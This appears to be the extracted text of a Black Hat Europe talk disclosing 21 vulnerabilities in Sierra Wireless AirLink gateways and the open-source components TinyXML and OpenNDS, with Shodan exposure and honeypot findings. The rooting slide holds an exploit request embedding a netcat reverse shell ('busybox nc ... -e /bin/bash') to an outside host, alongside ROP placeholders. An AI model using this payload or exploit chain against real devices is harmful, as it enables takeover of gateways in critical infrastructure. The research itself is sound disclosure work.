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ÅMost attacks leverage vulnerabilities in IT infra. The 
OT/IoT network perimeter has less attention, 
could it be as attractive to attackers? 

ÅManufacturers keep relying upon security through 
obscurity and the many eyes principle

ÅWe (among others) hypothesise that potential 
attackers are benefiting from these principles 
on a much larger scale

ÅWe looked at a popular family of devices that can 
be often found at the edge of IT and OT/IoT 
networks ïSierra Wireless AirLink gateways

Motivation
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ÅWhy looking at Sierra Wireless gateways in 2023?

ÅPerforming a research on (not so) closed-source software 
packages

ÅNew vulnerabilities in the old code

ÅRooting a device

ÅPotential impact

ÅTakeaways for researchers and manufacturers

Outline
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Why looking at Sierra Wireless AirLink 
gateways in 2023?
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ÅSW AirLink is one the most popular brand of 
IoT/OT gateways (along with Teltonika, InHand, 
and MOXA)

ÅSW devices are also very popular on Shodan 
(more on that later)

ÅThese gateways connect critical devices in 
electrical substations, oil and gas fields, and 
smart cities

ÅUsed in police vehicles, for industrial asset 
monitoring and manufacturing, remote 
healthcare locations, and electric vehicle charge 
stations

Why SW AirLink gateways?

The images are taken from https://www.sierrawireless.com/company/ 



#BHEU @BlackHatEvents
Information Classification: General

ÅExample: an Axis IP camera connected to an AirLink LX40 gateway

Why SW AirLink gateways?

The images are taken from https://www.axis.com/
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ÅWe found thousands of SW devices exposed via Internet (Shodan)

ÅWe used fingerprints for ACEmanager ïa web UI used for managing the device, which should never be 
exposed to Internet

Why SW AirLink gateways?

!/9ƳŀƴŀƎŜǊΩǎ ŦŀǾƛŎƻƴΥ
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ÅHas there been any previous vulnerability research?

Why SW AirLink gateways?

No vulnerable 

third-party 

components?
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Performing research on (not so) closed -
source packages
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Methodology
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ÅWe focused on devices that ship with ALEOS (AirLink 
Enterprise Operating System)

ÅParts of ALEOS have been well-researched in the 
past, but not the third-party components. We also 
could not find any SBoMs, so this was an additional 
criteria

ÅWe picked AirLink LX60 for its versatility, availability, 
and a relatively low cost (we could easily get one from 
a local reseller)

ÅFirmware package (ALEOS 4.16.0) can be 
downloaded from the Sierra Wireless website

Choosing a target device

The images are taken from https://www.sierrawireless.com/
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ÅThe firmware package for some EOL devices is unencrypted, many internal binaries contain 
debugging symbols

ÅThis was extremely helpful in understanding some parts of ALEOS

Peeking into firmware packages 
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Peeking into firmware packages 

*https://labs.ioactive.com/2020/09/no-buffers-harmed-rooting-sierra.html

/ǳǎǘƻƳ άǎŜŜŘέ/ǳǎǘƻƳ άǾŜǊǎƛƻƴέ

ÅThe latest ALEOS firmware packages are encrypted

ÅHowever, Ruben Santamarta from IOActive Labs has reversed the 
firmware decryption logic*

ÅThe firmware is still using AES CTR without any hardcoded key or IV:
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ÅWe used Docker to set up and run ACEmanager (and some other binaries) originally shipped with 
ALEOS 4.16.0 (chroot, modified configs, qemu arm system emulator)

ÅVery handy to emulate parts of the system, since there were no debugging capabilities on the device

Emulation
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ÅALEOS is large, so we had to prioritize the analysis for the best ROI 
for the attackers

ÅACEmanagerhas been found vulnerable in the past, but itôs 
commonly exposed to the Internet 

ÅAT commands interface (configuration via Telnet) also looked 
promising

ÅDid not find any SBoM, but there are quite a few open source 
components shipped along

ÅNo one has looked at how FOSS components are integrated to 
ALEOS. TinyXML had only 1 past vulnerability, while OpenNDS had 
none.

Finding the right components



#BHEU @BlackHatEvents
Information Classification: General

New vulnerabilities in the old code
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Overview of findings

ÅIn total, we found 21 security bugs that affect ALEOS 
and/or integrated open source components

Å15 are found on the open source components (10 affect 
ALEOS directly)

ÅHardcoded credentials, state confusion

ÅMultiple Denial-of-Service issues (DoS)

ÅStored Cross-Site Scripting (XSS)

ÅMultiple Code / Command Execution issues (RCE)*

*Only 1 affects ALEOS directly
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TinyXML : A low hanging fruit

ÅTinyXML is a project for parsing XML. It has been completely 
replaced by TinyXML-2 a few years ago and is unsupported. 

ÅWe found that TinyXML is used in ACEmanager (the code is 
compiled into the binary)

ÅWe first checked if there are any existing vulnerabilities that 
might affect ACEmanager through TinyXML

ÅWe then took the latest code of TinyXML and created a simple 
fuzzer with libFuzzeré in a few seconds we got the first results
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TinyXML: infinite loop

ÅCVE-2021-42260 / CVE-2023-40458: infinite loop condition that was never fixed
ÅThe bug report and a simple PoC can be still found on sourceforge: 

https://sourceforge.net/p/tinyxml/bugs/141/

0xef

éthere is no 

ñelseò branch

When p+1 

or p+2 are 

NULLé

https://sourceforge.net/p/tinyxml/bugs/141/
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TinyXML: reachable assertion

ÅCVE-2023-34194 / CVE-2023-40462: a reachable assertion (crash)

The ñ!p || !*pò 

check is missing
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Vulnerabilities in ALEOS

While looking at the filesystem of ALEOS and ACEmanager, 
we found several issues:

ÅCVE-2023-40450: null-pointer dereference when parsing 
login credentials in ACEmanager

ÅCVE-2023-40460 and CVE-2023-40461: stored XSS via 
unrestricted file upload in ACEmanager

ÅCVE-2023-40464: hardcoded TLS private key and cert used 
in ACEmanager by default

ÅCVE-2023-40463: hardcoded root password hash 
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XSS via unrestricted file upload

ÅCVE-2023-40460 allows to replace legitimate HTML pages with arbitrary content

ÅWe think, it might be an incomplete fix for CVE-2018-4063

ÅRequires valid credentials from ACEmanagerôs user
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XSS via unrestricted file upload

ÅThe content of the uploaded files is (almost) not 
validated, the files end up in  
/var/tmp/acemanager/useruploadò

ÅThat folder has a symlink 
ñ/www/auth/user/uploadò

ÅACEmanagerôs binary does a weird thing with 
wildcards: 

/admin/

/var/tmp/acemanager/userupload /www/auth/user/upload

/www/auth/viewer/upload/var/tmp/acemanager/viewerupload

/www/auth/viewer
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XSS via unrestricted file upload

/admin/ACEmanagerX.html
/www/auth/user/upload/ACEmanagerX.html

/www/auth/viewer/ACEmanagerX.html

ÅYou can upload files with any extension (.cgi are not executable after the fix for CVE-2018-4063)

ÅThe content validation is very easy to bypass

ÅIf we upload files with exiting filenames, they will be served instead of the original ones
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XSS via unrestricted file upload
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ÅUpon closer inspection, the filesystem reveals the 
default TLS key/cert

ÅWhile these can be changed by users, we found about 22K 
devices in the wild that didnôt do so

ÅThe private key/cert can be used for spoofing the encrypted 
traffic between the affected ACEmanager and its clients 

ÅFor instance, as we shown before, credentials are transferred 
in the cleartext: CVE-2018-4069, mitigated by recommending 
to use HTTPS 

Hardcoded goodies
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ÅThere is a diagnostic shell that can be enabled via 
ACEmanager (accessible through SSH)

ÅñWhen enabled, this field allows Sierra Wireless Tech 
Support personnel to locally access the diagnostic shell on 
your router [é]ò

ÅBy default the root login is disabled, when the option is 
enabled, a hardcoded SHA512 password hash for the 
root user is added to the ñ/etc/shadowò file

ÅThe hash is hardcoded into the cmdexe binary and is very 
poorly obfuscated (a substitution cypher)

ÅUnfortunately, the password seems to have decent 
entropy, so we were unable to recover it at the time

ÅStill, we had to find another way to root the deviceé

Hardcoded goodies
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ÅACEmanager allows to set up the WiFi interface as a 
captive portal

Åά! captive portalis a web page accessed with a web 
browserthat is displayed to newly connected users of a Wi-
Fior wired network before they are granted broader access 
to network resources.έϝ

ÅThere is simple (OpenNDS) and authenticated
(CoovaChilli) captive portal

ÅOpenNDS is an open source captive portal, forked 
from Nodogsplash

ÅWe were very curious about OpenNDS as the project 
seems to be mature enough, but it had no public CVEs

Issues with captive portals

*https://en.wikipedia.org/wiki/Captive_portal

https://en.wikipedia.org/wiki/Web_browser
https://en.wikipedia.org/wiki/Web_browser
https://en.wikipedia.org/wiki/Wi-Fi
https://en.wikipedia.org/wiki/Wi-Fi
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ÅWe immediately spotted that ALEOS used 
the version 9.1.1, while the latest at the time 
was 9.10.0

ÅSo we decided to first have a look at the 
source code repository for some silent 
patchesé 

Issues with captive portals

ÅBy having a look at the patch diff we 
could quickly understand the root cause

ÅThe issue does not affect any OpenNDS
release (e.g., ñAcceptò header was not yet 
processed in 9.1)

ÅNevertheless, we spotted some similar 
code and decided to do some variant 
hunting
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ÅWe spotted 6 more issues that exhibit the same anti-pattern: 

Issues with captive portals

GET /opennds_preauth/ HTTP/1.1

user_agent is NULL

It will remain NULL if 

the header is not 

present

Passing NULL into 

strlen() will trigger a 

segfault
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ÅBy design, OpenNDS relies on the ability to execute ñexternalò bash scripts for various purposes   

Issues with captive portals
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ÅIf the ñunescapeò callback is enabled in the config, the captive portal allows for arbitrary OS command 
execution (CVE-2023-38316)

Issues with captive portals
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ÅIf the ñunescapeò callback is enabled in the config, the captive portal allows for arbitrary OS command 
execution (CVE-2023-38316)

ÅWe found 4 more issues like this one, none of them affect ALEOS (default config is used)

Issues with captive portals
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Rooting a device
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Rooting a device

GET /?hello=world HTTP/1.1\nHost: localhost\n\n

Parses the 

query 

parameters

Calls 

get_query()

ÅCVE-2023-41101 / CVE-2023-40465: a stack- (heap-)based buffer overflow
ÅThe vulnerable code originates from Nodogsplash
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Rooting a device

ÅItôs difficult to estimate the exploitability (depends on so many factors!), what about the LX60?

ÅThe binary has all the symbols
ÅPIE is not enabled
ÅLots of other useful binaries inside

ÅNX is enabled
ÅOther bugs in query string parsing that prevents ROP chains
ÅASLR is enabled (but weak), need to leak some memory
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Leaking some memory

0x76400470*

*We get only 2 base addresses (limitations 

of ASLR): either 0x76400000, or 0x76500000 
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Rooting the LX60

GET busybox nc 192.168.17.100 1337 -w 4096 

-e /bin/bash?[PADDING][URL_ADDR][PADDING]

[GADGET_ADDR] HTTP/1.1 [é]
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Potential impact
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ÅWe found more than 80K devices exposed on 
Shodan 

ÅExamples of organizations that expose SW 
gateways online include power distribution, 
national health systems, waste management, 
retail, and vehicle tracking

ÅTinyXML will never be fixed upstream. We found its 
traces in the products of 29 vendors (+7 open 
source projects). 

ÅFor OpenNDS/Nodogsplash it is quite difficult to 
track, however we found OpenWRT and DD-WRT ï
popular open source Linux distributions for routers

Impact

Distribution of SW gateways by industry  
(as seen in FSCT Device Cloud):
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ÅMany of the deviceswe could fingerprint via Telnet donôt run the latest version of software

ÅThere is quite a number of these devices that is either EOL, or EOS (soon to be EOL) ïthere will be no 
security patches for those

Impact: EOL/EOS devices

Devices with the AT interface exposed: Unpatched devices among those:
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ÅWe set up several ACEmanager honeypots in the US/EU regions

ÅWe observed around 5,5K of unique IP addresses attacking 
those, the attacks are mostly indiscriminate

ÅPortscans and information disclosure attacks

ÅPHP-based web-framework exploitation (WordPress, Laravel)

ÅJava-based web-framework exploitation (JAWS, Log4J) 

ÅOT/IoT device exploitation (SonicWall, Siemens SL7, Tridium 
Niagara, Netgear, D-Link, GPON,  Netlink, HNAP protocol, etc.)

ÅMalware (multiple Mirai variants, Gh0st RAT, SystemBC) 

Are attackers exploiting SW?
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They do!

ÅWe observed several IP addresses exploiting a chain of 
vulnerabilities disclosed by Cisco Talos in 2019

ÅWeôve seen several successful login attempts

ÅCVE-2018-4068, CVE-2018-4070, CVE-2018-4071 
(information disclosure)

ÅCVE-2018-4063 (OS command execution via unrestricted file 
upload)

ÅThe attackers used the PoC scripts published in the 
original report by Cisco

ÅWe have not seen any exploitation attempts for 
vulnerabilities, for which no public PoCs were available


